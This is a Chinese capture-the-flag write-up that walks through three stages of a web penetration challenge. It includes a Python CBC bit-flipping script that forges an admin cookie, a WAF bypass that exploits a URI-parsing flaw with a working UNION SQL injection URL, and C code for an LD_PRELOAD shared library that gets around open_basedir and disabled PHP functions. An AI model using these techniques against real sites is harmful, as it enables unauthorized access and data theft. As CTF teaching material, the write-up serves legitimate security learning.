三个白帽之招聘又开始了,你怕了吗?-Writeup

这周的三个白帽题听说是前几天ALICTF的招聘题延续,上次两题都没撸出来,这次给了源码终于撸出来了。

该渗透题有三个大坑

坑1: CBC攻击

很简单的CBC攻击,上次google ctf中出现过,我也写过wp:http://0x48.pw/2016/05/03/0x1A/

直接贴脚本吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python
#-*- coding:utf-8 -*-

import requests
import hashlib
import base64
import re

def fuck_captcha(s):
for x in xrange(0, 10000000):
y = hashlib.md5(str(x)).hexdigest()
if y[:4] == s:
return str(x)
print "God personality.(%s)" %s
exit(1)


url = "http://451bf8ea3268360ee.jie.sangebaimao.com/login.php"
url2 = "http://451bf8ea3268360ee.jie.sangebaimao.com"

req = requests.get(url)

c = req.headers['Set-Cookie'].split(";")[0]
c = c.split("=")
cookie = {c[0]: c[1]}

cap = re.findall("=([a-f0-9]{4})", req.content)[0]
captcha = fuck_captcha(cap)

data = {"username": "ddmin", "password": "ddog", "captcha": captcha}
req = requests.post(url, data=data, cookies=cookie, allow_redirects=False)

c = req.headers['Set-Cookie']

user = c.split("=")[1]

u = user.replace("-", "+").replace("_", "/")
u += "=" * (len(u) % 4)

de = base64.b64decode(u)
de2 = chr(ord(de[0]) ^ ord('d') ^ ord('a')) + de[1:]

en = base64.b64encode(de2).replace("+", "-").replace("/", "_").replace("=", "")
# cookie = {"username": en}
# req = requests.get(url, cookies=cookie)
print en
# 输出的en为admin的cookie

第一个坑的CBC攻击好几种方法,还可以构造任意字符,所以在这存在注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// index.php
<?php
/**
* @author firesun
* @website https://github.com/firesunCN
*/

require_once("header.php");

if (!isset($_COOKIE['username']) || decrypt($_COOKIE['username']) === "") {
setcookie("username");
header("Location: login.php");
exit();
}

$sql="select * from user where username='".decrypt($_COOKIE['username'])."';";

因为cookie的值是base编码过的,所以waf并没有用,不过这注入太麻烦了,建议还是踩第二个坑.

坑2: 绕waf

1
2
3
4
5
6
7
8
9
10
11
12
13
// admin/user.php
<?php
/**
* @author firesun
* @website https://github.com/firesunCN
*/

require_once('header.php');

if(!isset($_REQUEST["id"])) {
header("Location: index.php");
exit();
}
$sql="select * from user where id=".$_REQUEST["id"].";";

这很明显是注入,不过却上了waf,表示这waf怼不动,哪位师傅怼得动?求教!

waf虽然怼不动,不过却有其他问题,在waf.php的76-85行对uri的处理有问题

1
2
3
4
5
6
7
8
9
10
$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
$parameter = explode("&",$uri[1]);
foreach ($parameter as $k => $v) {
$v1 = explode("=",$v);
if (isset($v1[1])) {
$_REQUEST[$v1[0]] = stripStr($v1[1]);
}
}
}

提出来本地测试一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
function stripStr($str) {
if (get_magic_quotes_gpc())
$str = stripslashes($str);
return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));
}

echo '$_REQUEST value is: ';
var_dump($_REQUEST);
echo '<br />$_GET value is: ';
var_dump($_GET);
echo '<br />$uri value is: ';
$uri = explode("?",$_SERVER['REQUEST_URI']);
var_dump($uri);
echo "<br />".'now the $_REQUEST value is: ';

if(isset($uri[1])) {
$parameter = explode("&",$uri[1]);
foreach ($parameter as $k => $v) {
$v1 = explode("=",$v);
if (isset($v1[1])) {
$_REQUEST[$v1[0]] = stripStr($v1[1]);
}
}
}

var_dump($_REQUEST);
?>

访问:http://127.0.0.1/test/test.php?id=2?&id=3
输出:

1
2
3
4
$_REQUEST value is: array(1) { ["id"]=> string(1) "3" }
$_GET value is: array(1) { ["id"]=> string(1) "3" }
$uri value is: array(3) { [0]=> string(14) "/test/test.php" [1]=> string(4) "id=2" [2]=> string(5) "&id=3" }
now the $_REQUEST value is: array(1) { ["id"]=> string(1) "2" }

所以根本不需要怼waf,uri被处理后,$_GET和$_REQUEST的值可以不一样,然后直接注入就好了

payload: http://451bf8ea3268360ee.jie.sangebaimao.com/admin/user.php?id=-1/**/union/**/select/**/1,2,3,(select/**/content/**/from/**/memo),5?&id=3

得到信息:

1
2
3
/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php
password:firesun
flag is at /.

然后就是最后一步了

坑3: bypass open_basedir

给的信息一看就知道是webshell, 先开AntSword连马,发现啥也干不了,看了看phpinfo(),发现ban了一堆函数,看着咋这么熟悉……这不是ALICTF的homework么,出题人也都是firesun师傅.

首先看看能不能写文件,写文件的方法是从homework想出来的,使用move_uploaded_file,文件上传的函数写到/tmp目录下,读文件通过highlight_file或者show_source这类函数, 这里还有一个小坑,上传到/tmp目录的文件会被秒删,我们秒读就好了.

bypass open_basedir方法链接: http://drops.wooyun.org/tips/16054

不过和homework一样,服务器的命令基本都被ban了(像啥nc, cat, python,ls)全被ban了,所以按照homework的套路,用C来读目录和文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
//ddog.c
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<dirent.h>

void payload() {
//DIR *dirp;
//struct dirent *dp;
FILE *fp, *fp2;
char buf[100];
//dirp = opendir("/"); //flag在/目录下
fp = fopen("/tmp/tteesstt", "w");
fp2 = fopen("/flag_gei_ni_ni_Ye_du_bu_LIAO", "r");
fgets(buf, 100, fp2);
fputs(buf, fp);
//while ((dp = readdir(dirp)) != NULL) {
// fputs(dp->d_name, fp); //得到/flag_gei_ni_ni_Ye_du_bu_LIAO文件路径
//}
fclose(fp);
fclose(fp2);
//closedir(dirp);
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}

编译成so库

1
2
$ gcc -c -fPIC ddog.c -o ddog
$ gcc -shared ddog -o ddog.so

得到ddog.so,上传到/tmp,读文件信息一条龙:
sanmao

文章目录
  1. 1. 坑1: CBC攻击
  2. 2. 坑2: 绕waf
  3. 3. 坑3: bypass open_basedir